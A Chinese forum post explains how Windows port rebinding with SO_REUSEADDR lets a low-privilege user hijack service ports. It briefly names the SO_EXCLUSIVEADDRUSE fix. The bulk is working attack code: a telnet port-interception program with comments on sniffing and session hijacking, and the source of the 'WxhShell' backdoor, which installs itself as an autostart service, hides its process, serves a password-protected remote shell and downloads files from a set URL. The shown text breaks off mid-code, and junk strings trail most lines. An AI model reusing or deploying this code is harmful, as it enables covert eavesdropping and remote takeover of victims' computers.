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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @6tczU}ak  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T 4p}5ew'  
Qg~w 3~  
  saddr.sin_family = AF_INET; @KU;' th  
fRLA;1va  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =xRD %Z  
xH{-UQ3R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '@ Y@Fs  
d=%NFCIV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5X+`aB  
M9BEG6E9  
  这意味着什么?意味着可以进行如下的攻击: 2w8cJadT'p  
w43b=7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4:NMZ `~  
M!Ao!D[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) G dNhEv  
rf4f'cUa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y&5 O)  
WPNw")t!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .Y]0gi8z  
P-gjSE|yh  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oxN5:)  
N<a %l J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K-#d1+P+  
OObAn^bt  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gjN'D!'E1D  
^@RvCJ+  
  #include l1'v`!  
  #include 9?O8j1F  
  #include =Q<7[  
  #include    ]bh%pn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cl `Wl/Q#  
  int main() i]? Eq?k  
  { 5;" $X 1{  
  WORD wVersionRequested; v+in:\Dv  
  DWORD ret; WA43}CyAe  
  WSADATA wsaData; ;5[ OS8  
  BOOL val; F%o!+%&7  
  SOCKADDR_IN saddr; 4jTO:aPh_  
  SOCKADDR_IN scaddr; e3TKQ (  
  int err; -"JmQ Fha  
  SOCKET s; DMG'8\5C  
  SOCKET sc; .Vnb+o  
  int caddsize; 4 xbWDu]  
  HANDLE mt;  d9k`  
  DWORD tid;   v9Ii8{ca|  
  wVersionRequested = MAKEWORD( 2, 2 ); CE96e y  
  err = WSAStartup( wVersionRequested, &wsaData ); JfWkg`LqL  
  if ( err != 0 ) { xCXsyZ2h  
  printf("error!WSAStartup failed!\n"); tyW}=xs  
  return -1; uuwJ-  
  } c( U,FUS  
  saddr.sin_family = AF_INET; OHBCanZZ,  
   dLb$3!3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _3 oo%?}  
VED~v#.c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *w(n%f  
  saddr.sin_port = htons(23); s) U1U6O  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Qe _{<E  
  { >xS({1A}  
  printf("error!socket failed!\n"); nfHjIYid  
  return -1; bk<Rp84vL  
  } b<~8\\ &  
  val = TRUE; ^`id/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 erUK; +2g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3c6e$/  
  { :23S%B~X  
  printf("error!setsockopt failed!\n"); TBPu&+3  
  return -1; I1':&l^O  
  } 7<e}5nA/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &-Ch>:[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J(d+EjC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^;a .;wR  
E7\K{]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >JE+g[$@  
  { b5=|1SjR  
  ret=GetLastError(); .uauSx/#4  
  printf("error!bind failed!\n"); TaYl[I  
  return -1; uCB9;+ Hjw  
  } zNt//,={  
  listen(s,2); lAi5sN)|$  
  while(1) [HWVS  
  { qsoq1u,?  
  caddsize = sizeof(scaddr); \ .#Y  
  //接受连接请求 N7lg6$s Aj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Rh~b,"  
  if(sc!=INVALID_SOCKET) ~8nR3ki  
  { EIQ3vOq6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TxF^zx\  
  if(mt==NULL) "i#g [x  
  { 4y3c=L No  
  printf("Thread Creat Failed!\n"); ed',\+.uB  
  break; PZqp;!:xz  
  } ~$K{E[^<  
  } DL4`j>2Ov  
  CloseHandle(mt); i *:QbMb  
  } rbdrs  
  closesocket(s); N9G xJ6  
  WSACleanup(); .lb]Xa*n  
  return 0; K2x2Y=  
  }   `B3-#!2X  
  DWORD WINAPI ClientThread(LPVOID lpParam) Izu____  
  { d"?"(Q_8n  
  SOCKET ss = (SOCKET)lpParam; m85ZcyW1T  
  SOCKET sc; }hg=#*  
  unsigned char buf[4096]; myX&Z F_9  
  SOCKADDR_IN saddr; iy]L"7&Z2  
  long num; S`5bcxI_  
  DWORD val; bi+M28m  
  DWORD ret; h.#:7d(g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8Snv, Lb`^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   A+Isk{d  
  saddr.sin_family = AF_INET; td%J.&K_*'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9;6)b 0=$  
  saddr.sin_port = htons(23); hu0z 36  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) QnS^ G{  
  { ._tEDY/1m  
  printf("error!socket failed!\n");  ;303fS  
  return -1; cSYCMQ1ro  
  } 2_u+&7  
  val = 100; Z ;rM@x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %XukiA+  
  { }(u:K}8  
  ret = GetLastError(); PRiE2Di2S  
  return -1; kZ@UQ{>`  
  } wg0_J<y]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4_VgJ9@  
  { 5&p}^hS5  
  ret = GetLastError(); Q3hf =&$  
  return -1; !c)F;  
  } 9F 3,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x1g-@{8]j  
  { -j<E_!t  
  printf("error!socket connect failed!\n"); &_:9.I 1  
  closesocket(sc); p:n l4O/  
  closesocket(ss); 0/ 33Z Oc  
  return -1; 8Pd9&/Y  
  } p%*s3E1.D  
  while(1) Sw E7U~  
  { X);'[/]E*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SW}Rkr\e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /_J{JGp9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rWJ5C\R  
  num = recv(ss,buf,4096,0); o?/H<k\5  
  if(num>0) {jYVA~.|Z  
  send(sc,buf,num,0); P^F3,'N  
  else if(num==0) \e4AxLP  
  break; }U'9 d#N  
  num = recv(sc,buf,4096,0); 9a=:e=q3#  
  if(num>0) =gSc{ i|  
  send(ss,buf,num,0);  D~"a"  
  else if(num==0) xF3FY0U[  
  break; L"9Z{o7  
  } 8 vq-|p  
  closesocket(ss); OT$ Ne  
  closesocket(sc); "aKlvK:77  
  return 0 ; >CrrxiG  
  } +2:HgW  
. U6(>6-  
y7h^_D+Ce  
========================================================== _/Ve~( "  
"#pxZ B=  
下边附上一个代码,,WXhSHELL |$IL:W6  
f@!9~s  
========================================================== $}b)EMMM  
V-(]L:[JQ  
#include "stdafx.h" Z>g&%3j  
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#include <stdio.h> kw z6SObQ  
#include <string.h> mgH~GKf^  
#include <windows.h> T$0)un  
#include <winsock2.h> A405igF  
#include <winsvc.h>  #9}1Lo>  
#include <urlmon.h> z0\ $# r^I  
tQNc+>7k+u  
#pragma comment (lib, "Ws2_32.lib") $2*_7_Qb  
#pragma comment (lib, "urlmon.lib") qY%|Uo  
|H5GWZ O{^  
#define MAX_USER   100 // 最大客户端连接数 TtrO_D  
#define BUF_SOCK   200 // sock buffer c oZK  
#define KEY_BUFF   255 // 输入 buffer ,aezMbg  
?QKD YH(  
#define REBOOT     0   // 重启 w6> P[oW  
#define SHUTDOWN   1   // 关机 1!)'dL0mI  
4KxuSI^q  
#define DEF_PORT   5000 // 监听端口 yy/'B:g  
u!~kmIa4  
#define REG_LEN     16   // 注册表键长度 rd%uc~/  
#define SVC_LEN     80   // NT服务名长度 Z >R@  
F|+B8&-v  
// 从dll定义API _nz_.w0H9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,<P"\W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yph@H!@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aJ=)5%$6kc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q0ab]g+  
cyd&bxPgj+  
// wxhshell配置信息 C=Fu1Hpb  
struct WSCFG { *wx%jbJo  
  int ws_port;         // 监听端口 Sx~mc_ekY  
  char ws_passstr[REG_LEN]; // 口令 hunlKIg  
  int ws_autoins;       // 安装标记, 1=yes 0=no <%w TI<m,-  
  char ws_regname[REG_LEN]; // 注册表键名 a"Iu!$&N  
  char ws_svcname[REG_LEN]; // 服务名 oVP,a r0G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T[e+iv<8j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sF :pwI5^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v~AshmP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k t!@}QP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b-VQn5W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :/SGB3gb1t  
xv147"w'v  
}; p)Q5fh0-  
)Z4iM;4]  
// default Wxhshell configuration $; _{|{Yj  
struct WSCFG wscfg={DEF_PORT, wpN [0^M-0  
    "xuhuanlingzhe", zobFUFx  
    1, P}Mu|AEG  
    "Wxhshell", cr0/.Zv)  
    "Wxhshell", WN|_IJR~  
            "WxhShell Service", WRbdv{ 1E  
    "Wrsky Windows CmdShell Service", p"6[S  
    "Please Input Your Password: ", lBG=jOS  
  1, xa_ IdkV  
  "http://www.wrsky.com/wxhshell.exe", wO!>kc<  
  "Wxhshell.exe" Av n-Ug  
    }; QYDI-<.(  
?r)>SB3(e  
// 消息定义模块 ZB$yEW]]~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6IK>v*<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z?[ R;V1j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u&={hJ&7  
char *msg_ws_ext="\n\rExit."; >_]Ov:5  
char *msg_ws_end="\n\rQuit."; # ^,8JRA  
char *msg_ws_boot="\n\rReboot..."; /8:e| ]  
char *msg_ws_poff="\n\rShutdown..."; 9+ve0P7$  
char *msg_ws_down="\n\rSave to "; Sa)L=5Nr  
Z{%W!>0  
char *msg_ws_err="\n\rErr!"; kda*rl~c  
char *msg_ws_ok="\n\rOK!"; u#u/uS"  
=7kn1G.(  
char ExeFile[MAX_PATH]; .& bc3cW  
int nUser = 0; o:5mgf7  
HANDLE handles[MAX_USER]; PQF 40g1}  
int OsIsNt; qD"~5vtLqQ  
)Mflt0fp  
SERVICE_STATUS       serviceStatus; kAUL7_>6X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JB5%\   
Ssir?ZUm   
// 函数声明 peS4<MqWu  
int Install(void); T$FKn  
int Uninstall(void); Ai 8+U)  
int DownloadFile(char *sURL, SOCKET wsh); .3XSF$;  
int Boot(int flag); 07(LLhk@d  
void HideProc(void); {9P(U\]e]k  
int GetOsVer(void); w D6QN  
int Wxhshell(SOCKET wsl); uJ1oo| sn  
void TalkWithClient(void *cs); u@Ni *)p`  
int CmdShell(SOCKET sock); 1:DA{ejS  
int StartFromService(void); 4Rp[>}L  
int StartWxhshell(LPSTR lpCmdLine); }(na)B{m  
{=!BzNMj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^^uY)AL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6 P(jc  
) .V,zmI  
// 数据结构和表定义 X?r$o>db  
SERVICE_TABLE_ENTRY DispatchTable[] = e&(Wn2)o  
{ KF#qz2S  
{wscfg.ws_svcname, NTServiceMain}, MdkL_YP}.  
{NULL, NULL} \q!TI x  
}; "f3mi[  
f@Ve,i  
// 自我安装 gm:Y@6W  
int Install(void) u  XZ;K.  
{ 8 f~M6  
  char svExeFile[MAX_PATH]; ':\bn:;  
  HKEY key; h6`VU`pPI  
  strcpy(svExeFile,ExeFile); \Yv4 4*I`  
md9JvbB  
// 如果是win9x系统,修改注册表设为自启动 4/SltWU  
if(!OsIsNt) { E.*wNah"U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V^ ;l g[:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W8]?dL}|  
  RegCloseKey(key); Qe9}%k6@E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7<8'7<X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j\B taC  
  RegCloseKey(key); `X&d:!}F  
  return 0; -@'RYY=  
    } %vG;'_gM B  
  } YD~(l-?"  
} ^h`rA"F\  
else { Hp(41Eb,  
:q2RgZE  
// 如果是NT以上系统,安装为系统服务 5Ktll~+:#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); - ikq#L){  
if (schSCManager!=0) m+pK,D~{"  
{ WdJeh:h  
  SC_HANDLE schService = CreateService ?WS.RBe2  
  ( 3c`  
  schSCManager, n:<Xp[;R  
  wscfg.ws_svcname, ay{]Vqi9  
  wscfg.ws_svcdisp, *`bES V :  
  SERVICE_ALL_ACCESS, 6l"4F6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @'J~(#}  
  SERVICE_AUTO_START, tg%Sn+:  
  SERVICE_ERROR_NORMAL, hn&NypI  
  svExeFile, 3Dh{#"88  
  NULL, 1iM(13jW  
  NULL, d-8g  
  NULL, S->Sp  
  NULL, 5VN~?#K  
  NULL NfCo)C-t  
  ); O]25 {L  
  if (schService!=0) WUx2CK2N  
  { yaI jXv  
  CloseServiceHandle(schService); --`W1!jI@  
  CloseServiceHandle(schSCManager); Sn;q:e3i{A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nu16L$ ]  
  strcat(svExeFile,wscfg.ws_svcname); P^BSl7cT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3[kl` *`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZGd7e.u=  
  RegCloseKey(key); ; ?,'jI*1  
  return 0; rO,n~|YJ  
    } 7B)@ aUj$  
  } d5W =?  
  CloseServiceHandle(schSCManager); $M4C4_oPy  
} fL&e^Q  
} #D+.z)iZn  
?/Aql_?3  
return 1; 4`"Q!T_'  
} :|ytw= 3>  
l2LO,j}  
// 自我卸载 1Zp^X:(  
int Uninstall(void) `|[UF^9  
{ HN&]`cr;  
  HKEY key; o107. s  
o|VM{5  
if(!OsIsNt) { $fW8S8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g*%o%Lv  
  RegDeleteValue(key,wscfg.ws_regname); QP6a,^];  
  RegCloseKey(key); #t">tL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )Z`OkkabnD  
  RegDeleteValue(key,wscfg.ws_regname); ev yA#~o  
  RegCloseKey(key); 4Rl~7|  
  return 0; ,z$ U=u o  
  } z&|sks7  
} H)+wkR!~  
} [lj^lN8  
else { lR]SGdY  
7<F{a"5P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f[$Z<:D-ve  
if (schSCManager!=0) WTC/mcS  
{ *&F~<HC2+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 73E[O5?b  
  if (schService!=0) t(- 5l  
  { pH?"@  
  if(DeleteService(schService)!=0) { m8v=pab e  
  CloseServiceHandle(schService); :\#/T,K"  
  CloseServiceHandle(schSCManager); ]=5D98B  
  return 0; ZV:0:k.x  
  } g\?7M1~  
  CloseServiceHandle(schService); RLF]Wa,  
  } @IBU{{  
  CloseServiceHandle(schSCManager); 1,sD'iNb  
} @0%^\Qf2  
} TUR2|J@n  
2{-'`l fM%  
return 1; F[oTc^dr  
} 0^ $6U  
4--[.j*W  
// 从指定url下载文件 R<8!lQ4s  
int DownloadFile(char *sURL, SOCKET wsh) K1fnHpK  
{ =q*j". <  
  HRESULT hr; v6KF0mqA&  
char seps[]= "/"; *5 S~@  
char *token; nx`I9j\  
char *file; -(![xZ1{K  
char myURL[MAX_PATH]; kM@heFJb.  
char myFILE[MAX_PATH]; ^WIGd"^  
C C`Y r  
strcpy(myURL,sURL); k*= #XbX  
  token=strtok(myURL,seps); @RI\CqFHR  
  while(token!=NULL) RD'i(szi?  
  { O8w|!$Q.  
    file=token; G9a6 $K)b  
  token=strtok(NULL,seps); {rZ )!  
  } JXF@b-c  
Q>>II|~;J  
GetCurrentDirectory(MAX_PATH,myFILE); l=t$ XWh!  
strcat(myFILE, "\\"); q{oppali  
strcat(myFILE, file); \MFjb IL  
  send(wsh,myFILE,strlen(myFILE),0); 1mz72K  
send(wsh,"...",3,0); By}>h6`[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SH M@H93  
  if(hr==S_OK) $r= tOD4;  
return 0; /%T d(  
else .t|B6n!  
return 1; VpmD1YSn  
G>c:+`KS  
} ,hXhcfFl  
Ln5g"g8gb%  
// 系统电源模块 #x5?RHX56  
int Boot(int flag) 5KDN8pJN  
{ "\M^jO  
  HANDLE hToken; S -KHot ?  
  TOKEN_PRIVILEGES tkp; >-Q=o,cl%3  
A"~4|`W  
  if(OsIsNt) { {Zy)p%j8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IH~[/qNk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $|bdeQPr\  
    tkp.PrivilegeCount = 1; &>%9JXU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R3%&\<a)9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _V-pr#lP1  
if(flag==REBOOT) { DS1_hbk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;B !u=_'  
  return 0; YA%0{Tdxz  
} Vi_6O;  
else { * k ^?L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *b+ ~@o  
  return 0; eww/tGa  
} mR6hnKa_53  
  } ]<IK0  
  else { $:SSm $k  
if(flag==REBOOT) { %/Y;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w [7vxQ!-  
  return 0; rc+}KO  
} -yP_S~ \n  
else { %T'<vw0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6E@qZvQ  
  return 0; &a bR}J[  
} 79O'S du@  
} VgyY7INx9  
<m X EX`?  
return 1; x l4A<  
} \t^h|<`  
M|xs>+r*  
// win9x进程隐藏模块 2Bg0 M  
void HideProc(void) Y ]6kA5  
{ eT6T@C](  
FA3YiX(-e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !omf>CW;ud  
  if ( hKernel != NULL ) 0JM`*f%n  
  { H$={i$*,Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XdxSi"+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $;%k:&\f  
    FreeLibrary(hKernel); Th>ff)~ e  
  } Ty;P`Uv]r  
Iu|4QE  
return; pDV8B/{  
} A{Dy3tm=  
/@QPJ~%8Ud  
// 获取操作系统版本 @pkQ2OM 2  
int GetOsVer(void) Usz O--.C  
{ ap|$8 G  
  OSVERSIONINFO winfo; T_/ n#e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0l+[[ZTV  
  GetVersionEx(&winfo); H4"'&A7$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s2*~n_B  
  return 1; ATscP hk  
  else c1aIZ  
  return 0; [h[@? 8vB  
} e> -fI_+b  
h"$)[k~  
// 客户端句柄模块 j9^V)\6)  
int Wxhshell(SOCKET wsl) N83c+vs%c  
{ yeqH eZ  
  SOCKET wsh; ! n13B  
  struct sockaddr_in client; xka&,`z  
  DWORD myID; H=v=)cUe[  
]m<z  
  while(nUser<MAX_USER) >&%#`PKT  
{ VtnVl`/]  
  int nSize=sizeof(client); PJ3M,2H1b.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '4"c#kCKL  
  if(wsh==INVALID_SOCKET) return 1; S-%itrB*  
[2\jQv\Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }^tW's8  
if(handles[nUser]==0) ~6Pv5DKq  
  closesocket(wsh); 8$`$24Wx  
else ~KP@wD~  
  nUser++; 1'4?}0Dok  
  } +LwwI*;b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _{&bmE  
L~|_CRw  
  return 0; =k^ d5  
} hnBX enT6  
@|'$k{i  
// 关闭 socket 8@A}.:  
void CloseIt(SOCKET wsh) n4InZ!)  
{ p!>DA?vF  
closesocket(wsh); >yf}9Zs  
nUser--; ~`X$b F  
ExitThread(0); x,M8NTb*  
} TY;%nT  
7 >-(g+NF!  
// 客户端请求句柄 W:8pmI  
void TalkWithClient(void *cs) Kw=][}d`D  
{ z07Xj%zX9  
i62GZe E  
  SOCKET wsh=(SOCKET)cs; PvB{@82  
  char pwd[SVC_LEN]; +; / s0  
  char cmd[KEY_BUFF]; 8/T[dn  
char chr[1]; hg2UZ% Y  
int i,j; 10IX8 4  
!xvAy3  
  while (nUser < MAX_USER) { zmhL[1qj  
F4PWL|1  
if(wscfg.ws_passstr) { t Z@OAPRx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {4eI} p<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {H3B1*Dk  
  //ZeroMemory(pwd,KEY_BUFF); i F \H  
      i=0; `z$=J"%? y  
  while(i<SVC_LEN) { )~-r&Q5d  
O-&^;]ieJ  
  // 设置超时 %f5c,}  
  fd_set FdRead; >!MRk[@ V-  
  struct timeval TimeOut; xSrjN  
  FD_ZERO(&FdRead); 7:e5l19 uI  
  FD_SET(wsh,&FdRead); hip't@.uE  
  TimeOut.tv_sec=8; %l[]n;*$  
  TimeOut.tv_usec=0; c2Wp 8l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MSE0z !t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {t!Pv 2y<  
S SfNI>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,!dVhG#  
  pwd=chr[0]; 3b[.s9Q  
  if(chr[0]==0xd || chr[0]==0xa) { K_F"j!0  
  pwd=0; GIhX2EvAS  
  break; 5Nl?Km~  
  } Ug  )eyu  
  i++; q.VZP  
    } gH yJ~  
08+\fT [  
  // 如果是非法用户,关闭 socket tMH 2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M|fC2[]v B  
} B`)TRt+'.  
\aN7[>R.Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @MP;/o+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *k@D4F ruP  
QB3er]y0%  
while(1) { dU-nE5  
k)9+;bKQQ  
  ZeroMemory(cmd,KEY_BUFF); 3  $a;  
1`GW>ZKv  
      // 自动支持客户端 telnet标准   DE+k'8\T  
  j=0; Ca -.&$f  
  while(j<KEY_BUFF) { 7(d#zu6n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *dN_=32u  
  cmd[j]=chr[0]; KM?w{ ~9  
  if(chr[0]==0xa || chr[0]==0xd) { :7~DiH:Q  
  cmd[j]=0; mVEIHzk2b  
  break; kD(#LM<9s  
  } re4A5Ev$  
  j++; $18?Q+?3  
    } \5}*;O@  
_2hZGC%&E  
  // 下载文件 @z^7*#vQv  
  if(strstr(cmd,"http://")) { ~G1B}c]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~OWpk)Vq  
  if(DownloadFile(cmd,wsh)) (8~D ^N6Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UF$O@l  
  else "7eL&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g7{:F\S  
  } dQ_hlx!J  
  else { (|>rDk;  
-A@/cS%p  
    switch(cmd[0]) { Tgl >  
  PS8^=  
  // 帮助 AH-BZ8  
  case '?': { U>sEFzBup  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eD8e0 D'S  
    break; gVrfZ&XF84  
  } |w+ O.%=  
  // 安装 rZWs-]s6t  
  case 'i': { Ckc5;:b&m  
    if(Install()) )2Bb,p<Wr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H>o \C  
    else %|j8#09  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A/{!w"G  
    break; \ AIFIy  
    }  /PTq.  
  // 卸载 vqZBDQ0  
  case 'r': { Km,%p@`m  
    if(Uninstall()) q0DRT4K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [RY Rt/?Q  
    else J=&}$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |*DkriYY  
    break; -{q'Tmst  
    } upZ tVdd  
  // 显示 wxhshell 所在路径 U1(cBY  
  case 'p': { v!$:t<-5N  
    char svExeFile[MAX_PATH]; mT #A?C2  
    strcpy(svExeFile,"\n\r"); E]}_hZU  
      strcat(svExeFile,ExeFile); `F]  
        send(wsh,svExeFile,strlen(svExeFile),0); \ C>+ubF  
    break; r-*j"1 e  
    } N.0g%0A.D  
  // 重启 mZM,"Wq,  
  case 'b': { CI-1>= "OE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ahQY-%>  
    if(Boot(REBOOT)) 4j8$& ~/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r Nurzag  
    else { mi.,Z`]o  
    closesocket(wsh); kBxEp/y  
    ExitThread(0); W 1u!&:O  
    } v*&j A 8D  
    break; w!z* ?k=Da  
    } X%iJPJLza  
  // 关机 K7@|2;e  
  case 'd': { JPHM+3v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); | KY-kRN7  
